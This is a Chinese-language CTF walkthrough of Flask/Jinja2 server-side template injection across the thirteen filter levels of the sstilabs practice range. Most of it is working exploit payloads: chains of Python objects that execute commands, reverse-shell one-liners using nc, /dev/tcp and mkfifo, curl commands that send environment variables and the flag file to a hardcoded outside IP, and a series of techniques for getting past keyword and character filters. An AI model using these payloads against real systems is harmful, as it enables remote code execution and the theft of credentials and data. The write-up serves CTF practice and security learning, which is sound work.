前言:

Flask SSTI(Server-Side Template Injection)是指在 Flask 的模板引擎 Jinja2 中,用户输入未经过滤地被渲染执行,从而导致攻击者可以构造恶意模板表达式并在服务器上执行任意代码或读取敏感数据。

Flask 使用的模板引擎是 Jinja2,它允许通过 {{ 变量 }}{% 逻辑语句 %} 插入变量或执行逻辑。如果开发者将用户输入直接传入 render_template_string 等函数,就可能引发 SSTI 漏洞。

搭靶场

在线靶场 https://www.nssctf.cn/problem/13

源码 https://github.com/X3NNY/sstilabs

requirements.txt

Flask==1.1.1
Jinja2==2.11.3
MarkupSafe==2.0.1
itsdangerous==1.1.0
Werkzeug==1.0.1
gunicorn==20.0.4

Dockerfile

# 使用官方 Python 镜像
FROM python:3.8-slim

RUN apt update && apt install -y curl iputils-ping dnsutils netcat-traditional && rm -rf /var/lib/apt/lists/*

# 设置工作目录
WORKDIR /app

# 拷贝项目文件
COPY . /app

# 安装依赖
RUN pip install --no-cache-dir -r requirements.txt

# 设置环境变量以禁用缓冲
ENV PYTHONUNBUFFERED=1
ENV FLAG=SSTI{this_is_your_flag}
# 启动命令,使用 gunicorn 提升并发能力
CMD ["gunicorn", "-w", "4", "-b", "0.0.0.0:8000", "app:app"]

构建并运行

docker build -t flask-ssti .

docker run -d -p 9998:5000 --name ssti-vuln flask-ssti

sudo ufw allow 9998

注入方法

利用链类型

起点对象

代表Payload

原理与适用场景

1. 直接利用框架注入对象

利用Flask/Jinja2默认注入到模板上下文中的内置对象

{{ cycler.__init__.__globals__.os.popen('ls').read() }}

{{ lipsum.__globals__.os.popen('env').read() }}

优点: 更短、更直接,无需遍历子类。缺点: 依赖特定对象是否被注入到当前模板上下文,环境差异大

2. 基类回溯子类链

Python基础类型 (如'', [], {})开始,回溯到object,再遍历其子类

{{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}

优点: 通用性强,几乎在所有Python环境/模板中可用(因为基础类型必然存在)

缺点:需知道目标子类索引(如417),不同环境索引可能变化

魔术方法

特殊方法

功能描述

class

查找当前对象的当前类

base

查找当前类的父类

mro

查找当前类的所有继承类

__subclasses

查找父类下的所有子类

init

查看类是否重载,出现wrapper表示没有重载

globals

以字典的形式返回当前对象的全部全局变量

builtins

提供对python的所有内置标识符的直接访问

🔍 直接利用框架注入对象

比如

{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').environ }}
{{ lipsum.__globals__.os.popen('env').read() }}

cycler, self, lipsum

还有一些比如

url_for, config, namespace

名称

类型

是否函数对象

是否有 . __init__

访问 globals 推荐方式

说明

cycler

类实例(Cycler 类)

❌ 不是函数

✅ 有 . __init__

cycler.__init__.__globals__

经典入口 ✔️

self

类实例或上下文变量

❌ 不一定是函数

✅ 有 . __init__

self.__init__.__globals__(依环境)

条件成立时可用

lipsum

函数对象

✅ 是函数

❌ 无 . __init__

lipsum.__globals__

最简入口 ✔️

url_for

Flask 的函数对象

✅ 是函数

❌ 无 . __init__

url_for.__globals__

Flask 特有

config

Flask 配置字典

❌ 不是函数

❌ 无 . __init__

❌ 不能访问 __globals__

不适合作为入口

namespace

Jinja2 内置函数对象

✅ 是函数

❌ 无 . __init__

namespace.__globals__

常用 ✔️

稳定性

推荐对象

推荐写法

★★★★★

namespace

namespace.__globals__['os']

★★★★★

lipsum

lipsum.__globals__['os']

★★★★☆

cycler

cycler.__init__.__globals__['os']

★★★☆☆

url_for

url_for.__globals__['os']

★★☆☆☆

self

self.__init__.__globals__(视上下文)

☆☆☆☆☆

config

❌ 不可用

🔍 基类回溯子类链

class 是什么?

Python 中,所有东西都是对象。包括字符串、数字、函数……而每个对象都有一个 class 属性,用来表示它是什么“类”(也就是它的类型)。

{{ ''.__class__}}输出<class 'str'>

mro 是什么?

mro 全称是 Method Resolution Order(方法解析顺序),是 Python 用来确定“类从哪儿继承来的”顺序的属性。

{{''.__class__.__mro__}}输出(<class 'str'>, <class 'object'>) 这表示:

  • str 是字符串的类

  • 它继承自 object

subclasses()是什么?

Python 内部提供的一个函数,用于获取一个类的所有子类

object.__subclasses__()输出

[<class 'type'>, <class 'dict'>,<class 'subprocess.Popen'>, ...]

这个列表包含了上千个类,其中很多都能被我们用来干坏事(比如执行命令或读取文件)

我们通常这样写:

{{ ''.__class__.__mro__[1].__subclasses__() }}来获取所有子类

下一步
法一、遍历但不获取索引
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {{ c('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
  {% endif %}
{% endfor %}

{{ ... }} 是表达式语法用于输出值,你放入其中的内容会被计算并显示出来:

{% ... %} 是语句语法用于控制逻辑结构,如 for 循环、if 判断,不会直接输出任何值

法二、获取索引

上一步中我们已经拿到了所有子类,然后计算出索引,从而使用这个类

{{ ''.__class__.__mro__[1].__subclasses__()[index] }}

举例:[409] 可能就是 <class 'subprocess.Popen'>(不同环境 index 会不同)

payload就可以是{{ ''.__class__.__mro__[1].__subclasses__()[409]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}

假设找到了 subprocess.Popen 的下标是 408,就可以这样写:

  • "cat flag" 是要执行的命令

  • shell=True 表示用 shell 执行(可以更强大)

  • stdout=-1 表示捕获输出

  • .communicate()[0].decode() 用于拿到执行结果,觉得麻烦也可以直接写.communicate()

那么问题来了,这么多class怎么计算这个索引呢?

观察到每一个class之间隔了一个逗号,我们只需要一个脚本把逗号变成换行符,再从IDE搜索就能直接看出索引是多少了

with open('raw.txt', 'r') as f:
    input_str = f.read()
parts = [p.strip() for p in input_str.split(',')]
with open('rawed.txt', 'w') as f:
    f.write('\n'.join(parts))
print("ok")

常用 SSTI 可利用类与用途对照表:

目标

推荐类

用途说明

常用 Payload 示例

📂 执行系统命令

subprocess.Popen

最强力执行命令方式

(...)(cmd, shell=True, stdout=-1).communicate()

📂 另一种执行命令

_wrap_close

可以 .read() 文件,间接执行

.read() 常用于绕过

📁 读取文件内容

_wrap_close, TextIOWrapper

可以打开 /flag 读取文件

(...).read()

📄 获取环境变量

config.__class__.__init__.__globals__['os'].environ

环境变量字典

['FLAG']

💡 获取任意模块

warnings.catch_warnings.__globals__['os']

全局作用域访问模块

popenenviron

🧠 导入模块函数

importlib.import_module

动态导入模块

可选用于构造更复杂执行

📌 flask 配置泄露

config

Flask 应用配置

config.items() 可以看到 SECRET_KEY 等

Level 1 No Waf

法一

{{ cycler.__init__.__globals__.os.popen('env').read() }}

法二

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {{ c('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}
  {% endif %}
{% endfor %}

cat flag换成printenv FLAG就是打印名为FLAG的环境变量,换成env就是打印所有环境变量

先通过{{ ''.__class__.__mro__[1].__subclasses__()}}拿所有类,像这样[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>,...,]

然后通过下面Q里面的的脚本获取索引

搜索到Popen在第418行,那么索引就是417

直接 {{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}

也可以直接爆破,把数字直接遍历即可,看响应的长度


Level 2 Waf: {{

绕过 {{ 的策略:用 {% ... %} 实现

但是{% ... %} 标签用于执行代码但不输出结果

所以需要配合输出机制,比如加个print

Level 1类似,只不过不用{{code}}了,用{%print(code)%}替代

法一

{% print(cycler.__init__.__globals__.os.popen('env').read()) %}

法二

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {% print(c('cat flag', shell=True, stdout=-1).communicate()[0].decode()) %} 
  {% endif %}
{% endfor %}

{% print(''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode()) %}


Level 3 Waf:no waf and blind

法一 反弹shell

  1. nc ip port -e /bin/bash

  2. bash -i >& /dev/tcp/ip/port 0>&1

  3. mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &

Payload

是否需 nc -e

是否需 Bash

是否适配 Alpine

可交互性

适用场景

nc -e /bin/bash

✅ 是

✅ 需要

❌ 不兼容

✅ 强交互

CTF、本地

bash -i > /dev/tcp

❌ 否

✅ 需要

❌ 不兼容

⚠️ 弱交互

Bash 系统

mkfifo ... /bin/sh ... nc

❌ 否

❌ 不需要

✅ 兼容

✅ 正常交互

推荐方案 ✔️

直接这样就行了

{{ cycler.__init__.__globals__.os.popen("mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &").read() }}

法二 写到static目录

{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]("cat flag > static/1.txt", shell=True, stdout=-1).communicate()[0].decode() }}
任选其一
{{ cycler.__init__.__globals__.os.popen("cat flag > static/1.txt").read() }}

domain/static/1.txt读就可以了

法三 curl或DNSLog外带

POST传参

在vps上开一个端口

nano post.py

from flask import Flask, request
app = Flask(__name__)

@app.route('/', methods=['POST'])
def recv():
    print("🔥 Received form data:")
    print(dict(request.form))  # ✅ 这是 curl -d 的数据所在位置
    return 'OK'

app.run(host='0.0.0.0', port=8000)

python3 post.py

靶机:

{{ ''.__class__.__mro__[1].__subclasses__()[417]("printenv | curl -X POST -d @- http://120.79.195.212:8000", shell=True, stdout=-1).communicate()[0].decode() }}

GET传参(有长度限制)

vps上开监听端口python3 -m http.server 8000

{{ ''.__class__.__mro__[1].__subclasses__()[417]("curl http://120.79.195.212:8000?flagcat flag | base64", shell=True, stdout=-1).communicate()[0].decode() }}

flag=$(cat flag | base64)也可以,没有反引号

这里要用base64编码,原因是

花括号在shell 中有特殊含义,被解释掉了

Bash(sh)中,{} 是一种 扩展语法(brace expansion)

比如:echo foo{1,2} 输出:foo1 foo2

解码即可

还可以直接把当前目录的flag文件发到vps

{{ ''.__class__.__mro__[1].__subclasses__()[294]("curl -X POST -d @flag http://120.79.195.212:8000", shell=True, stdout=-1).communicate()[0].decode() }}

DNSLog未成功

待完善

扩展:

上面Level 2的Waf是{{,所以用{%

Level 3无Waf但是无回显

将二者结合起来,有Waf的无回显就是

{% set x = cycler.__init__.__globals__.os.popen("mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &").read() %}

或者

{% print(cycler.__init__.__globals__.os.popen("mkfifo /tmp/p; /bin/sh </tmp/p | nc ip port >/tmp/p 2>&1 &").read()) %}


Level 4

Waf:[ ]

法一

{{ cycler.__init__.__globals__.os.popen('env').read() }}

法二 使用 .__getitem__(1) 当做索引

因为 Python 中 obj[x] 实际上就是调用 obj.getitem(x)

Payload1:

{% for c in ''.__class__.__mro__.__getitem__(1).__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {{ c('cat flag', shell=True, stdout=-1).communicate() }}
  {% endif %}
{% endfor %}

Payload2:

{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(222)('cat flag', shell=True, stdout=-1).communicate() }}

索引222依旧是找出来或者爆破出来


Level 5

Waf:\' "

直接用上面的payoad即可


Level 6

Waf:_

十六进制绕过

_换成\x5f,然后用中括号把这些括起来(中括号替代的是.的位置)

{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ cycler['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['os'].popen('env').read() }}

{{ lpsum.__globals__.os.popen('env').read() }}
{{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('env').read()}}
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__() }}

{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f']['\x5f\x5fgetitem\x5f\x5f'](1)'\x5f\x5fsubclasses\x5f\x5f' }}


{{ ''.__class__.__mro__[1].__subclasses__() }}

{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']() }}


{{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}

{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}

Unicode绕过

把上面的\x5f换成\u005f

{{ cycler['\u005f\u005finit\u005f\u005f']['\u005f\u005fglobals\u005f\u005f']['os'].popen('env').read() }}


Level 7

Waf:.

[]代替.

{{ cycler.__init__.__globals__.os.popen('env').read() }}

{{ cycler['__init__']['__globals__']['os']['popen']('env')['read']() }}



{{ lipsum.__globals__.os.popen('env').read() }}

{{ lipsum['__globals__']['os']['popen']('env')['read']() }}



{{ ''.__class__.__mro__[1].__subclasses__() }}

{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}


{{ ''.__class__.__mro__[1].__subclasses__()[417]('cat flag', shell=True, stdout=-1).communicate()[0].decode() }}

{{ ''['__class__']['__mro__'][1]['__subclasses__']()[417]('cat flag', shell=True, stdout=-1)['communicate']()[0]['decode']() }}


Level 8

Waf:"class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"

上面的Level 7的payload加一点引号

{{ cycler.__init__.__globals__.os.popen('env').read() }}

{{ cycler['__in''it__']['__glo''bals__']['os']['po''pen']('env')['read']() }}

{{ lipsum.__globals__.os.popen('env').read() }}

{{ lipsum['__glo''bals__']['os']['po''pen']('env')['read']() }}


Level 9

Waf:0-9

{{ cycler.__init__.__globals__.os.popen('env').read() }}
{{ cycler.__init__.__globals__['config'] }}

{{ lipsum.__globals__.os.popen('env').read() }}


Level 10

Waf:set config = None 需要 get config

{{ url_for.__globals__['current_app'].config }}
{{ lipsum.__globals__['__builtins__']['__import__']('flask').current_app.config }}
{{ cycler.__init__.__globals__['__builtins__']['__import__']('flask').current_app.config }}

📊 上述三种paylaod对比

payload

url_for.__globals__['current_app'].config

lipsum.__globals__['__builtins__']...

cycler.__init__.__globals__['__builtins__']...

🔍 来源

Flask 的函数对象 url_for

Jinja2 的函数对象 lipsum

Jinja2 的类实例 cycler.init__ 构造函数

🔧 全局作用域

Flask (flask.helpers 模块)

Jinja2 (jinja2.ext 模块)

Jinja2 (jinja2.utils 模块)

🔁 是否包含 current_app

✅ 是(Flask 会 from flask import current_app

❌ 否(Jinja2 没导入 current_app

❌ 同上

⛓ 是否需手动 import

❌ 不需要

✅ 需要用 __import__('flask')current_app

✅ 同上

💥 是否更依赖上下文

✅ 是(需 Flask 自动注入)

✅ 否(只要能 import flask 就行)

✅ 同上

🧱 访问方式层数

较短(globals → current_app → config)

多一层(globals → __builtins____import__ → flask)

同左

🧩 对WAF抗性

❌ 点多,下划线多,容易被 ban

✅ 可用绕过技巧拼接 __builtins__

✅ 同上

🧠 推荐用途

快速拿 config,少 WAF 时最好用

通用方案,适合任何 WAF 场景

同上,备选路径


Level 11

Waf: '\'', '"', '+', 'request', '.', '[', ']'

可以在网上找到个模板

参考链接:



{{lipsum.__globals__['os'].popen('ls').read()}}

a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os
{%set b=dict(o=a,s=a)|join%}

c.构造popen
{%set c=dict(po=a,pen=a)|join%}

cmd.构造env
{%set cmd=dict(en=a,v=a)|join%}

d.构造read
{%set d=dict(re=a.ad=a)|join%}

e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} 

f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)%}

g.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}

{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}


即
env
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(en=a,v=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

ls
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set cmd=dict(l=a,s=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

我们逐层还原它:

lipsum | attr(a)
→ lipsum['__globals__']

| attr(e)(b)
→ ['__globals__'].__getitem__('os') → 等价于 ['__globals__']['os']

| attr(c)(cmd)
→ ['os'].popen('ls')

| attr(d)()
→ .read()

✅ 最终等价于:
{{ lipsum.__globals__['os'].popen('env').read() }}

但是如果要是cat flag怎么办?

{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}

a.构造__globals__
{%set a=dict(__glo=a,bals__=a)|join%}

b.构造os
{%set b=dict(o=a,s=a)|join%}

c.构造popen
{%set c=dict(po=a,pen=a)|join%}

cmd.构造ls
{%set cmd=dict(l=a,s=a)|join%}

d.构造read
{%set d=dict(re=a,ad=a)|join%}

e.构造__getitem__
{%set e=dict(__ge=a,titem__=a)|join%} 

f.构造__builtins__
{%set f=dict(__buil=a,tins__=a)|join%}

ch.构造 chr 字符
{%set ch=dict(ch=a,r=a)|join%}

chh.构造 chr 函数
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

即
{%set a=dict(__glo=a,bals__=a)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=dict(__ge=a,titem__=a)|join%} 
{%set f=dict(__buil=a,tins__=a)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set cmd=(dict(ca=a,t=a)|join,chh(32),chh(47),dict(ap=a,p=a)|join,chh(47),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

解释

attr()是干嘛的?

📘 基础语法

{{ object | attr('attribute_name') }}等价于:object.attribute_name

✅ 举个例子:

{% set name = 'upper' %}
{{ 'hello' | attr(name)() }}

等价于:

'hello'.upper()  →  'HELLO'

利用:

attr() 动态访问:{{ lipsum | attr('__globals__') | attr('__getitem__')('os') }}等价于:

lipsum.__globals__['os']

🔥 构造 chr() 函数:动态生成字符

{% set chh = lipsum | attr(a) | attr(e)(f) | attr(e)(ch) %}

等价于 chh = lipsum.__globals__.__getitem__('__builtins__').__getitem__('chr') 此时 chh(32) 就等价于 chr(32) → ' ',可以动态生成字符

{% set cmd = (
    dict(ca=a, t=a) | join,       # 'cat'
    chh(32),                      # ' '
    chh(47),                      # '/'
    dict(ap=a, p=a) | join,       # 'app'
    chh(47),                      # '/'
    dict(fl=a, ag=a) | join       # 'flag'
) | join %}
✅ 最终执行链:
{{ lipsum
     | attr(a)             # '__globals__'
     | attr(e)(b)          # ['os']
     | attr(c)(cmd)        # .popen('cat /app/flag')
     | attr(d)()           # .read()
}}

等价于:

{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}


Level 12

Waf:'_', '.', '0-9', '\\', '\'', '"', '[', ']'

相比上一题

过滤了下划线和数字

先用这个列出字符

{{()|select|string|list}}

比如可能输出:

['<', 'g', 'e', 'n', 'e', 'r', 'a', 't', 'o', 'r', ' ', 'o', 'b', 'j', 'e', 'c', 't', ' ', 's', 'e', 'l', 'e', 'c', 't', '_', 'o', 'r', '_', 'r', 'e', 'j', 'e', 'c', 't', ' ', 'a', 't', ' ', '0', 'x', '7', 'e', 'c', '7', 'e', 'd', '9', '1', '6', 'd', '6', '0', '>']

找到下划线的索引,取出来,假设这里是24

然后使用这个代码拿到下划线

{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(24)}}

核心原理

  • ()|select|string|list 生成字符列表(如 ['<','g','e','n','e','r','a','t','o','r'...]

  • |attr("pop") 获取列表的pop方法

  • (24) 弹出索引为24的字符(Python列表索引从0开始)

但是这里禁止了数字

所以用过滤器 | length 或者| count取到

这里用了24个a

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{{()|select|string|list|attr(p)(numa)}}

用上关的payload进行修改

env

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xiahuaxian=()|select|string|list|attr(p)(numa)%}

{%set a=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xiahuaxian,xiahuaxian,dict(ge=a,titem=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set f=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=a)|join%}

{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

{%set cmd=dict(en=a,v=a)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}

cat /app/flag

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xiahuaxian=()|select|string|list|attr(p)(numa)%}

{%set a=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xiahuaxian,xiahuaxian,dict(ge=a,titem=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set f=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=a)|join%}

{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}

{%set kongge=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set xiexian=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}

{%set cmd=(dict(ca=a,t=a)|join,chh(kongge),chh(xiexian),dict(ap=a,p=a)|join,chh(xiexian),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}


Level 13

Waf:'_', '.', '\\', '\'', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']'

和上一关payload一样

{{ lipsum.__globals__['os'].popen('cat /app/flag').read() }}

{%set numa=dict(aaaaaaaaaaaaaaaaaaaaaaaa=b)|join|count%}
{%set p=dict(po=a,p=a)|join%}
{%set xiahuaxian=()|select|string|list|attr(p)(numa)%}
{%set a=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set b=dict(o=a,s=a)|join%}
{%set c=dict(po=a,pen=a)|join%}
{%set d=dict(re=a,ad=a)|join%}
{%set e=(xiahuaxian,xiahuaxian,dict(ge=a,titem=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set f=(xiahuaxian,xiahuaxian,dict(buil=a,tins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=a)|join%}
{%set chh=lipsum|attr(a)|attr(e)(f)|attr(e)(ch)%}
{%set kongge=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set xiexian=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set cmd=(dict(ca=a,t=a)|join,chh(kongge),chh(xiexian),dict(ap=a,p=a)|join,chh(xiexian),dict(fl=a,ag=a)|join)|join%}
{{lipsum|attr(a)|attr(e)(b)|attr(c)(cmd)|attr(d)()}}